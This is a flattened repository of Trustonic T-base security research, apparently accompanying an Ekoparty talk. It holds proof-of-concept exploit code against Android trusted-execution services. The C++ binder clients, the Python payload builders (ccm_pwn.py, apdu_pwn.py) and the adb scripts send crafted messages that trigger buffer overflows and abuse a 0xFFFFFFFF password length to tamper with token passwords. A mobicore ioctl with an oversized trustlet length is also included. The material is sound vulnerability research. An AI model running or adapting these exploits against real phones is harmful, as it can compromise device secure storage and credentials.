├── apdus ├── apdu_test.bin ├── .DS_Store ├── apdu_null.bin ├── apdu_dh_bof.bin ├── apdu_tlv_bof.bin ├── apdu_caid_bof.bin ├── apdu_caid_bof_leak.bin └── apdu_pwn.py ├── README.md ├── tee ├── tee ├── build.sh ├── Android.mk └── tee.cpp ├── ccm_poc ├── tee ├── test.sh ├── test_auth.sh ├── ccm_pwn.py └── tee.cpp └── unboxyourphone_ekoparty.pdf /apdus/apdu_test.bin: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Trustonic T-base Security Research 2 | -------------------------------------------------------------------------------- /tee/tee: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/tee/tee -------------------------------------------------------------------------------- /ccm_poc/tee: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/ccm_poc/tee -------------------------------------------------------------------------------- /apdus/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/apdus/.DS_Store -------------------------------------------------------------------------------- /apdus/apdu_null.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/apdus/apdu_null.bin -------------------------------------------------------------------------------- /apdus/apdu_dh_bof.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/apdus/apdu_dh_bof.bin -------------------------------------------------------------------------------- /apdus/apdu_tlv_bof.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/apdus/apdu_tlv_bof.bin -------------------------------------------------------------------------------- /apdus/apdu_caid_bof.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/apdus/apdu_caid_bof.bin -------------------------------------------------------------------------------- /unboxyourphone_ekoparty.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/unboxyourphone_ekoparty.pdf -------------------------------------------------------------------------------- /apdus/apdu_caid_bof_leak.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puppykitten/tbase/HEAD/apdus/apdu_caid_bof_leak.bin -------------------------------------------------------------------------------- /tee/build.sh: -------------------------------------------------------------------------------- 1 | PROJ_DIR=`pwd` 2 | cd /home/kutyacica/android/ 3 | TOP=`pwd` 4 | export TOP 5 | source build/envsetup.sh 6 | lunch aosp_arm64-user 7 | cd $PROJ_DIR 8 | mm 9 | cp $TOP/out/target/product/generic_arm64/system/bin/tee . 10 | -------------------------------------------------------------------------------- /tee/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH:= $(call my-dir) 2 | include $(CLEAR_VARS) 3 | 4 | LOCAL_SRC_FILES:= \ 5 | tee.cpp \ 6 | 7 | LOCAL_SHARED_LIBRARIES += libutils libbinder libcutils libgui liblog 8 | LOCAL_LDLIBS += -lmediandk -lutils -lbinder -llog 9 | 10 | ifeq ($(TARGET_OS),linux) 11 | LOCAL_CFLAGS += -DXP_UNIX 12 | endif 13 | 14 | LOCAL_CFLAGS += -O0 15 | CFLAGS += -S 16 | 17 | LOCAL_MULTILIB := 64 18 | 19 | LOCAL_MODULE:= tee 20 | 21 | include $(BUILD_EXECUTABLE) 22 | -------------------------------------------------------------------------------- /ccm_poc/test.sh: -------------------------------------------------------------------------------- 1 | adb push tee /data/local/tmp/. 2 | adb shell chmod 775 /data/local/tmp/tee 3 | 4 | adb shell rm /data/local/tmp/output.bin 5 | adb shell rm /data/local/tmp/apdu.bin 6 | 7 | #just in case, run init and register 8 | python ccm_pwn.py init 9 | adb push apdu.bin /data/local/tmp/. 10 | adb shell /data/local/tmp/tee 3 11 | 12 | python ccm_pwn.py reg 13 | adb push apdu.bin /data/local/tmp/. 14 | adb shell /data/local/tmp/tee 3 15 | 16 | #generate nonce getting apdu 17 | python ccm_pwn.py nonce 18 | adb push apdu.bin /data/local/tmp/. 19 | #run cmd 20 | adb shell /data/local/tmp/tee 1 21 | #get result 22 | adb pull /data/local/tmp/output.bin . 23 | 24 | #generate wrapped obj using nonce 25 | python ccm_pwn.py wrap 26 | adb push apdu.bin /data/local/tmp/. 27 | #run cmd 28 | adb shell /data/local/tmp/tee 2 29 | #get result 30 | adb pull /data/local/tmp/output.bin . 31 | 32 | #now set_pwd command using wrapped obj 33 | python ccm_pwn.py setpwd 34 | adb push apdu.bin /data/local/tmp/. 35 | #run cmd 36 | adb shell /data/local/tmp/tee 3 37 | #no need for result 38 | 39 | -------------------------------------------------------------------------------- /ccm_poc/test_auth.sh: -------------------------------------------------------------------------------- 1 | adb push tee /data/local/tmp/. 2 | adb shell chmod 775 /data/local/tmp/tee 3 | 4 | clear () { 5 | adb shell rm /data/local/tmp/output.bin 6 | adb shell rm /data/local/tmp/apdu.bin 7 | rm output.bin 8 | rm apdu.bin 9 | } 10 | 11 | clear 12 | 13 | #just in case, run init and register 14 | python ccm_pwn.py init 15 | adb push apdu.bin /data/local/tmp/. 16 | adb shell /data/local/tmp/tee 3 17 | 18 | python ccm_pwn.py reg 19 | adb push apdu.bin /data/local/tmp/. 20 | adb shell /data/local/tmp/tee 3 21 | 22 | #generate nonce getting apdu 23 | python ccm_pwn.py nonce 24 | adb push apdu.bin /data/local/tmp/. 25 | #run cmd 26 | adb shell /data/local/tmp/tee 1 27 | #get result 28 | adb pull /data/local/tmp/output.bin . 29 | 30 | #generate valid wrapped obj using nonce 31 | python ccm_pwn.py wrapvalid 32 | adb push apdu.bin /data/local/tmp/. 33 | #run cmd 34 | adb shell /data/local/tmp/tee 2 35 | #get result 36 | adb pull /data/local/tmp/output.bin . 37 | 38 | #now set_pwd command using wrapped obj 39 | python ccm_pwn.py setpwd 40 | adb push apdu.bin /data/local/tmp/. 41 | #run cmd 42 | adb shell /data/local/tmp/tee 3 43 | 44 | clear 45 | 46 | #generate nonce getting apdu again 47 | python ccm_pwn.py nonce 48 | adb push apdu.bin /data/local/tmp/. 49 | #run cmd 50 | adb shell /data/local/tmp/tee 1 51 | #get result 52 | adb pull /data/local/tmp/output.bin . 53 | 54 | #now generate invalid wrapped obj using nonce 55 | python ccm_pwn.py wrap 56 | adb push apdu.bin /data/local/tmp/. 57 | #run cmd 58 | adb shell /data/local/tmp/tee 2 59 | #get result 60 | adb pull /data/local/tmp/output.bin . 61 | 62 | #now auth_pwd command using wrapped obj 63 | python ccm_pwn.py authpwd 64 | adb push apdu.bin /data/local/tmp/. 65 | #run cmd 66 | adb shell /data/local/tmp/tee 3 67 | 68 | -------------------------------------------------------------------------------- /tee/tee.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | namespace android{ 17 | 18 | // get the name of the generic interface we hold a reference to 19 | static String16 get_interface_name(sp service) 20 | { 21 | if (service != NULL) { 22 | Parcel data, reply; 23 | status_t err = service->transact(IBinder::INTERFACE_TRANSACTION, data, &reply); 24 | if (err == NO_ERROR) { 25 | return reply.readString16(); 26 | } 27 | } 28 | return String16(); 29 | } 30 | 31 | struct Tee { 32 | public: 33 | 34 | Tee(); 35 | int doExp(int sendlen_, char *filename); 36 | 37 | status_t initCheck() const; 38 | 39 | private: 40 | 41 | status_t mInitCheck; 42 | status_t initTEE(); 43 | 44 | sp mBinder; 45 | String16 mIfName; 46 | 47 | protected: 48 | virtual ~Tee(){}; 49 | }; 50 | 51 | Tee::Tee() 52 | : mInitCheck(NO_INIT) { 53 | mInitCheck = initTEE(); 54 | } 55 | 56 | status_t Tee::initCheck() const { 57 | return mInitCheck; 58 | } 59 | 60 | status_t Tee::initTEE() { 61 | sp sm = defaultServiceManager(); 62 | mBinder = sm->checkService(String16("ESECOMM")); 63 | mIfName = get_interface_name(mBinder); 64 | 65 | return OK; //NO_INIT; 66 | } 67 | 68 | int Tee::doExp(int sendlen_, char *filename){ 69 | 70 | Parcel data1, data, reply; 71 | uint32_t code; 72 | uint32_t sendlen = sendlen_; 73 | if (sendlen == 0){ 74 | sendlen = 4416; 75 | } 76 | uint32_t recvlen = 4416; //BOF if sendlen is 512 77 | int fd; 78 | uint8_t *shm; 79 | uint8_t *shm_payload; 80 | uint8_t *shm_resp; 81 | char *name = (char *) "ashmem"; 82 | status_t st; 83 | 84 | //first, we have to open the connection 85 | 86 | code = 0; //OPENSWCONN 87 | st = data1.writeInterfaceToken(mIfName); 88 | printf("writeInterfaceToken: %d\n", st); 89 | mBinder->transact(code, data1, &reply, 1); 90 | printf("transact finished: %s\n",String8(reply.readString16()).string()); 91 | 92 | //second, we have to send the ASHMEM command 93 | 94 | code = 3; 95 | 96 | fd = ashmem_create_region(name, sendlen+recvlen); 97 | printf("ashmem fd: %d\n", fd); 98 | ashmem_pin_region(fd, 0, 0); 99 | 100 | shm = (uint8_t *) mmap(NULL, sendlen+recvlen, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 101 | memset(shm, 0x00, sendlen); 102 | 103 | int pfd; 104 | if (filename == NULL){ 105 | pfd = open("./apdu.bin", O_RDONLY); 106 | } 107 | else{ 108 | pfd = open(filename, O_RDONLY); 109 | } 110 | 111 | int read_bytes; 112 | printf("pfd = %d\n", pfd); 113 | read_bytes = read(pfd, shm, sendlen); 114 | printf("read_bytes = %d\n", read_bytes); 115 | close(pfd); 116 | 117 | if ((uint32_t)read_bytes > sendlen){ 118 | printf("read_bytes wrong!\n"); 119 | return -1; 120 | } 121 | 122 | //respmsg->total_len: 0x200 (512) 123 | shm_resp = shm + sendlen; 124 | shm_resp[4] = 0x00; 125 | shm_resp[5] = 0x02; 126 | 127 | printf("shm created: %p\n", shm); 128 | st = data.writeInterfaceToken(mIfName); 129 | printf("writeInterfaceToken: %d\n", st); 130 | st = data.writeInt32(recvlen); 131 | printf("writeInt32: %d\n", st); 132 | st = data.writeInt32(sendlen); 133 | printf("writeInt32: %d\n", st); 134 | //now we have to write a filedescriptor for mmap'ed buffer. 135 | st = data.writeFileDescriptor(fd, 0); 136 | printf("writeFileDescriptor: %d\n", st); 137 | 138 | mBinder->transact(code, data, &reply, 1); 139 | printf("transact finished: %s\n",String8(reply.readString16()).string()); 140 | 141 | return 0; 142 | } 143 | 144 | } 145 | using namespace android; 146 | int main(int argc, char **argv){ 147 | int sendlen = 0; 148 | char *apdu_filename = NULL; 149 | if (argc > 1){ 150 | sendlen = atoi(argv[1]); 151 | } 152 | if (argc > 2){ 153 | apdu_filename = argv[2]; 154 | } 155 | 156 | Tee* teezer = new Tee(); 157 | teezer->doExp(sendlen, apdu_filename); 158 | return 0; 159 | } 160 | -------------------------------------------------------------------------------- /ccm_poc/ccm_pwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import struct 4 | import binascii 5 | import sys 6 | 7 | def add_dword(b, i): 8 | p = struct.pack(" no new msr read 24 | return b 25 | 26 | 27 | def create_register_payload(slotId, pwd): 28 | b = bytearray() 29 | b = add_dword(b, slotId) #slotId 30 | assert(len(pwd) == 0x80) 31 | b = add_dword(b, len(pwd)) 32 | b += pwd 33 | b = add_dword(b, 1) #access_method == TUI_pwd 34 | return b 35 | 36 | def create_set_nonce_payload(slotId, nonceLen): 37 | b = bytearray() 38 | assert(nonceLen <= 0x20) 39 | b = add_dword(b, slotId) 40 | b = add_dword(b, nonceLen) 41 | return b 42 | 43 | def create_unwrapped_pwd_t(nonce, noncelen, pwd, pwdlen): 44 | b = bytearray() 45 | 46 | print "nonce len: %d pwd len: %d real pwd len: %d" % (noncelen, pwdlen, len(pwd)) 47 | assert(len(nonce) + len(pwd)) <= 0x20*2 48 | 49 | b = add_dword(b, noncelen) 50 | b += nonce 51 | b = add_dword(b, pwdlen) 52 | b += pwd 53 | 54 | return b 55 | 56 | def create_install_obj_payload(obj): 57 | 58 | b = bytearray() 59 | b += obj 60 | b += "\x00"*(0x400 - len(obj)) 61 | b = add_dword(b, len(obj)) 62 | return b 63 | 64 | 65 | def create_set_token_pwd_payload(slotId, wrapped_pwd): 66 | b = bytearray() 67 | b = add_dword(b, slotId) 68 | b += wrapped_pwd 69 | #now pad it to 0x400 70 | pad_len = 0x400 - len(wrapped_pwd) 71 | print "padding len: %d original len: %d" % (pad_len, len(wrapped_pwd)) 72 | b += "\x00"*pad_len 73 | b = add_dword(b, len(wrapped_pwd)) 74 | #b = add_dword(b, 0xffff0000) 75 | return b 76 | 77 | def create_auth_token_pwd_payload(slotId, wrapped_pwd): 78 | b = bytearray() 79 | b = add_dword(b, slotId) 80 | b += wrapped_pwd 81 | #now pad it to 0x400 82 | pad_len = 0x400 - len(wrapped_pwd) 83 | print "padding len: %d original len: %d" % (pad_len, len(wrapped_pwd)) 84 | b += "\x00"*pad_len 85 | b = add_dword(b, len(wrapped_pwd)) 86 | #b = add_dword(b, 0xffff0000) 87 | return b 88 | 89 | def serialize_msg(code, payload, filename): 90 | 91 | hdr = create_sendmsg_hdr(code, 0, len(payload)) 92 | msg = hdr + payload 93 | #print binascii.hexlify(msg) 94 | with open(filename, "w+") as f: 95 | f.write(msg) 96 | 97 | def create_init_msg(): 98 | payload = create_init_payload() 99 | serialize_msg(2, payload, "apdu.bin") 100 | 101 | def create_register_msg(): 102 | payload = create_register_payload(0, "a"*0x80) 103 | serialize_msg(25, payload, "apdu.bin") 104 | 105 | def create_set_nonce_msg(): 106 | payload = create_set_nonce_payload(0, 0x20) 107 | serialize_msg(52, payload, "apdu.bin") 108 | 109 | def create_install_obj_msg(nonce, valid): 110 | pwd = "B"*32 111 | if (valid == 0): 112 | pwdlen = 0xFFFFFFFF 113 | else: 114 | pwdlen = len(pwd) 115 | noncelen = len(nonce) 116 | unwrapped_pwd = create_unwrapped_pwd_t(nonce, noncelen, pwd, pwdlen) 117 | payload = create_install_obj_payload(unwrapped_pwd) 118 | serialize_msg(28, payload, "apdu.bin") 119 | 120 | def create_set_token_pwd_msg(pwd): 121 | payload = create_set_token_pwd_payload(0, pwd) 122 | serialize_msg(51, payload, "apdu.bin") 123 | 124 | def create_auth_token_pwd_msg(pwd): 125 | payload = create_auth_token_pwd_payload(0, pwd) 126 | serialize_msg(53, payload, "apdu.bin") 127 | 128 | if __name__ == "__main__": 129 | 130 | if (sys.argv[1] == "init"): 131 | create_init_msg() 132 | 133 | if (sys.argv[1] == "reg"): 134 | create_register_msg() 135 | 136 | if (sys.argv[1] == "nonce"): 137 | create_set_nonce_msg() 138 | 139 | if (sys.argv[1] == "wrap"): 140 | nonce = bytearray() 141 | with open("output.bin", "r") as f: 142 | nonce = f.read() 143 | create_install_obj_msg(nonce, 0) 144 | 145 | if (sys.argv[1] == "wrapvalid"): 146 | nonce = bytearray() 147 | with open("output.bin", "r") as f: 148 | nonce = f.read() 149 | create_install_obj_msg(nonce, 1) 150 | 151 | if (sys.argv[1] == "setpwd"): 152 | wrapped_pwd = bytearray() 153 | with open("output.bin", "r") as f: 154 | wrapped_pwd = f.read() 155 | create_set_token_pwd_msg(wrapped_pwd) 156 | 157 | if (sys.argv[1] == "authpwd"): 158 | wrapped_pwd = bytearray() 159 | with open("output.bin", "r") as f: 160 | wrapped_pwd = f.read() 161 | create_auth_token_pwd_msg(wrapped_pwd) 162 | -------------------------------------------------------------------------------- /apdus/apdu_pwn.py: -------------------------------------------------------------------------------- 1 | 2 | import struct 3 | import binascii 4 | 5 | #big endian encoding, following tag value (ASN.1 extended len) 6 | def encode_length(length): 7 | b = bytearray() 8 | if (length < 128): 9 | b.append(length) 10 | elif (length >= 128 and length < 0xFF+1): 11 | b.append("\x81") 12 | b.append(length & 0xFF) 13 | elif (length >= 128 and length < 0xFFFF+1): 14 | b.append("\x82") 15 | b.append((length >> 8) & 0xFF) 16 | b.append(length & 0xFF) 17 | elif (length >= 0xFFFF and length < 0xFFFFFF + 1): 18 | b.append("\x83") 19 | b.append((length >> 16) & 0xFF) 20 | b.append((length >> 8) & 0xFF) 21 | b.append(length & 0xFF) 22 | else: 23 | b.append("\x84") 24 | b += struct.pack(">I", length) 25 | 26 | return b 27 | 28 | def create_tlv(tag, length, value): 29 | b = bytearray() 30 | b.append(tag) 31 | b += encode_length(length) 32 | b += value 33 | return b 34 | 35 | def create_payload_from_tlvs(tlv_list): 36 | p = bytearray() 37 | for i in tlv_list: 38 | p += i 39 | 40 | return p 41 | 42 | def create_msg(code, uid, payload, filename): 43 | b = bytearray() 44 | b.append(code) 45 | 46 | #this is the header, which is filled in anyway, doesn't matter what's here 47 | b += "\x00"*15 48 | 49 | #now we have to add this structure: 50 | # int uid 51 | b += "\x00"*4 52 | # byte unk 53 | b.append("\x00") 54 | # int total_payload_len 55 | # payload (512 bytes max) 56 | # where the 512 comes from is that validate_input_len doesn't allow anything longer. 57 | 58 | payload_length = struct.pack(" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #include "mc_user.h" 17 | #include "mcloadformat.h" 18 | 19 | namespace android{ 20 | 21 | // get the name of the generic interface we hold a reference to 22 | static String16 get_interface_name(sp service) 23 | { 24 | if (service != NULL) { 25 | Parcel data, reply; 26 | status_t err = service->transact(IBinder::INTERFACE_TRANSACTION, data, &reply); 27 | if (err == NO_ERROR) { 28 | return reply.readString16(); 29 | } 30 | } 31 | return String16(); 32 | } 33 | 34 | struct Tee { 35 | public: 36 | 37 | Tee(); 38 | int doExp(int sendlen_, char *filename, int cmd); 39 | int doMC(); 40 | 41 | status_t initCheck() const; 42 | 43 | private: 44 | 45 | status_t mInitCheck; 46 | status_t initTEE(); 47 | 48 | sp mBinder; 49 | String16 mIfName; 50 | 51 | protected: 52 | virtual ~Tee(){}; 53 | }; 54 | 55 | Tee::Tee() 56 | : mInitCheck(NO_INIT) { 57 | mInitCheck = initTEE(); 58 | } 59 | 60 | status_t Tee::initCheck() const { 61 | return mInitCheck; 62 | } 63 | 64 | status_t Tee::initTEE() { 65 | sp sm = defaultServiceManager(); 66 | //mBinder = sm->checkService(String16("ESECOMM")); 67 | mBinder = sm->checkService(String16("CCM")); 68 | mIfName = get_interface_name(mBinder); 69 | 70 | return OK; //NO_INIT; 71 | } 72 | 73 | int Tee::doMC(){ 74 | 75 | int fd = open("/dev/mobicore-user", O_RDONLY); 76 | if (fd == -1){ 77 | printf("open failed!\n"); 78 | } 79 | else{ 80 | printf("Open success fd: %d\n", fd); 81 | } 82 | 83 | 84 | //now fire an ioctl to load a trustlet with invalid len 85 | struct mc_ioctl_open_trustlet trustlet; 86 | struct mclf_header_v2 hdr; 87 | hdr.service_type == SERVICE_TYPE_SP_TRUSTLET; 88 | 89 | trustlet.sid = 0; 90 | trustlet.spid = 0; 91 | trustlet.buffer = (unsigned long long) &hdr; 92 | trustlet.tlen = 0xFFFFFFF0; 93 | trustlet.tci = 0; 94 | trustlet.tcilen = 0; 95 | trustlet.pid = 0; 96 | trustlet.flags = 0; 97 | 98 | ioctl(fd, MC_IO_OPEN_TRUSTLET, &trustlet); 99 | 100 | return 1; 101 | } 102 | 103 | int Tee::doExp(int sendlen_, char *filename, int cmd){ 104 | 105 | Parcel data1, data, reply; 106 | uint32_t code; 107 | uint32_t sendlen = sendlen_; 108 | if (sendlen == 0){ 109 | sendlen = 4416; 110 | } 111 | uint32_t recvlen = 4416; //BOF if sendlen is 512 112 | int fd; 113 | int i; 114 | int recvd_len; 115 | int offs; 116 | unsigned int nlen; 117 | unsigned int ret; 118 | uint8_t *shm; 119 | uint8_t *shm_payload; 120 | uint8_t *shm_resp; 121 | char *name = (char *) "ashmem"; 122 | status_t st; 123 | 124 | //first, we have to open the connection 125 | 126 | code = 0; //OPENSWCONN 127 | st = data1.writeInterfaceToken(mIfName); 128 | printf("writeInterfaceToken: %d\n", st); 129 | mBinder->transact(code, data1, &reply, 1); 130 | printf("OPENSWCONN transact finished: %s\n",String8(reply.readString16()).string()); 131 | 132 | //second, we have to ASHMEM a range 133 | 134 | code = 3; 135 | 136 | fd = ashmem_create_region(name, sendlen+recvlen); 137 | printf("ashmem fd: %d\n", fd); 138 | ashmem_pin_region(fd, 0, 0); 139 | 140 | shm = (uint8_t *) mmap(NULL, sendlen+recvlen, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 141 | memset(shm, 0x00, sendlen+recvlen); 142 | 143 | //third, we have to send the requested command 144 | 145 | int pfd; 146 | if (filename == NULL){ 147 | printf("openning apdu.bin\n"); 148 | pfd = open("/data/local/tmp/apdu.bin", O_RDONLY); 149 | } 150 | else{ 151 | printf("openning %s\n", filename); 152 | pfd = open(filename, O_RDONLY); 153 | } 154 | 155 | int read_bytes; 156 | printf("pfd = %d\n", pfd); 157 | read_bytes = read(pfd, shm, sendlen); 158 | printf("read_bytes = %d\n", read_bytes); 159 | close(pfd); 160 | 161 | if ((uint32_t)read_bytes > sendlen){ 162 | printf("read_bytes wrong!\n"); 163 | return -1; 164 | } 165 | 166 | //respmsg->total_len: 0x200 (512) 167 | shm_resp = shm + sendlen; 168 | 169 | printf("shm created: %p\n", shm); 170 | st = data.writeInterfaceToken(mIfName); 171 | printf("writeInterfaceToken: %d\n", st); 172 | st = data.writeInt32(recvlen); 173 | printf("writeInt32: %d\n", st); 174 | st = data.writeInt32(sendlen); 175 | printf("writeInt32: %d\n", st); 176 | //now we have to write a filedescriptor for mmap'ed buffer. 177 | st = data.writeFileDescriptor(fd, 0); 178 | printf("writeFileDescriptor: %d\n", st); 179 | 180 | mBinder->transact(code, data, &reply, 0); 181 | //printf("transact finished: %s\n",String8(reply.readString16()).string()); 182 | recvd_len = reply.readInt32(); 183 | printf("recv bytes len: %d\n", recvd_len); 184 | 185 | //hdr 186 | shm = shm + 16; 187 | ret = *(unsigned int *)(shm); 188 | printf("ret: 0x%08x\n", ret); 189 | 190 | //nonce command 191 | if (cmd == 1){ 192 | nlen = *(unsigned int *)(shm + 4 + 32); 193 | offs = 4; 194 | } 195 | //wrap command 196 | else if (cmd == 2){ 197 | //48: length of hash+pad at the end, 0x2C: header in front of wrapped obj 198 | nlen = *(unsigned int *)(shm + 8 + 2048); 199 | offs = 8; 200 | } 201 | 202 | //setpwd command - no need for response 203 | else if (cmd == 3){ 204 | return 1; 205 | } 206 | 207 | else{ 208 | printf("invalid cmd %d!\n", cmd); 209 | return -1; 210 | } 211 | 212 | printf("obj len: %d\n", nlen); 213 | printf("obj:\n"); 214 | for (i = 0; i < nlen; i++){ 215 | printf("%02x ", shm[offs+i]); 216 | } 217 | printf("\n"); 218 | 219 | pfd = open("/data/local/tmp/output.bin", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG); 220 | printf("pfd: %d\n", pfd); 221 | ret = write(pfd, shm + offs, nlen); 222 | printf("write: %d\n", ret); 223 | close(pfd); 224 | 225 | return 0; 226 | } 227 | 228 | } 229 | using namespace android; 230 | int main(int argc, char **argv){ 231 | int sendlen = 0; 232 | char *apdu_filename = NULL; 233 | int cmd = 0; 234 | 235 | /* 236 | if (argc > 1){ 237 | sendlen = atoi(argv[1]); 238 | } 239 | if (argc > 2){ 240 | apdu_filename = argv[2]; 241 | } 242 | */ 243 | 244 | if (argc > 1){ 245 | cmd = atoi(argv[1]); 246 | printf("cmd is: %d\n", cmd); 247 | } 248 | 249 | Tee* teezer = new Tee(); 250 | teezer->doExp(sendlen, apdu_filename, cmd); 251 | //teezer->doMC(); 252 | 253 | return 0; 254 | } 255 | --------------------------------------------------------------------------------